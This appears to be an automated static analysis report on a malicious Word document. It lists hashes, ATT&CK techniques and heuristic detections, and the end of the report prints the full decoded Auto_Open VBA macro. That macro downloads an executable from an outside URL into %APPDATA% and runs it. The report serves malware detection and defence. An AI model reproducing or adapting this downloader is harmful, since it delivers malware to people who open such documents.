Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5024a888b01cfd4…

MALICIOUS

Office (OLE)

32.5 KB Created: 2014-02-24 03:39:00 Authoring application: Microsoft Office Word First seen: 2014-10-17
MD5: 9532aa7b05008fff94e7c1f91159a074 SHA-1: 56d2ce952701b6291136e2ecf64e9bb7e36ba9a8 SHA-256: f5024a888b01cfd4af5a839245c1d2bf840ad2e8506808b68ebe8b8d8d521f92
386 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document that uses a "Document Disabled" lure to trick users into enabling macros. The Auto_Open VBA macro utilizes WScript.Shell and CreateObject to download a second-stage executable from 'http://fantasia-films.com/cache/out.exe' and saves it to the %APPDATA% directory as 'KRUOBLRVGZV\ENILBCKQLWB.com' before attempting to execute it.

Heuristics 13

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set KDIZQVIESOD = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write TKMJQSFZSCO.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set KDIZQVIESOD = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fantasia-films.com/cache/out.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2132 bytes
SHA-256: 51c9c6b8eed0f7ad9fcf66a0096a227f23bfecd568ea86f99872e1173b6bfa0b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
QPWUCODVBYD
End Sub
Sub QPWUCODVBYD()
Set KDIZQVIESOD = CreateObject("WScript.Shell")
TGIHRMFNDNM = KDIZQVIESOD.ExpandEnvironmentStrings("%APPDATA%")
Dim VEAPQUKEXSE: VEAPQUKEXSE = TGIHRMFNDNM & "\KRUOBLRVGZV"

 Set QXWFHCJRNWY = CreateObject("Scripting.FileSystemObject")
   If (QXWFHCJRNWY.FolderExists(VEAPQUKEXSE)) Then
   Else
   Set oQXWFHCJRNWY = CreateObject("Scripting.FileSystemObject")
      oQXWFHCJRNWY.CreateFolder VEAPQUKEXSE
   
End If
Dim THHSUFSTRLV: Set THHSUFSTRLV = CreateObject("Adodb.Stream")
Dim TKMJQSFZSCO: Set TKMJQSFZSCO = CreateObject("Microsoft.XMLHTTP")
TKMJQSFZSCO.Open "GET", "http://fantasia-films.com/cache/out.exe", False
TKMJQSFZSCO.Send
With THHSUFSTRLV
    .Type = 1
    .Open
    .write TKMJQSFZSCO.responseBody
    .savetofile TGIHRMFNDNM & "\KRUOBLRVGZV\ENILBCKQLWB.com", 2
End With
Call BENCMERTOTG(VEAPQUKEXSE)
End Sub
Function BENCMERTOTG(HZNTCISTXCD)
    Dim QXWFHCJRNWY, NVQLUWRPNVQ, XBELOJDNZAJ, MPLLLFDELAQ, CQSMAKUCYGL, AZUBVNZOZWX
    Dim DJAZIKLMJJP
    Set DJAZIKLMJJP = CreateObject("WScript.Shell")
    CQSMAKUCYGL = ""
    Set QXWFHCJRNWY = CreateObject("Scripting.FileSystemObject")
    If (QXWFHCJRNWY.FolderExists(HZNTCISTXCD)) Then
        Set NVQLUWRPNVQ = QXWFHCJRNWY.GetFolder(HZNTCISTXCD)
        Set XBELOJDNZAJ = NVQLUWRPNVQ.Files
        
        For Each MPLLLFDELAQ In XBELOJDNZAJ
        Dim BOMRJKPEXAT
        BOMRJKPEXAT = HZNTCISTXCD & "\" & MPLLLFDELAQ.Name
        DJAZIKLMJJP.Run Chr(34) & BOMRJKPEXAT & Chr(34), 1, True
    Next
        Set MPLLLFDELAQ = Nothing
        Set XBELOJDNZAJ = Nothing
        Set NVQLUWRPNVQ = Nothing
    End If
    Set QXWFHCJRNWY = Nothing
End Function
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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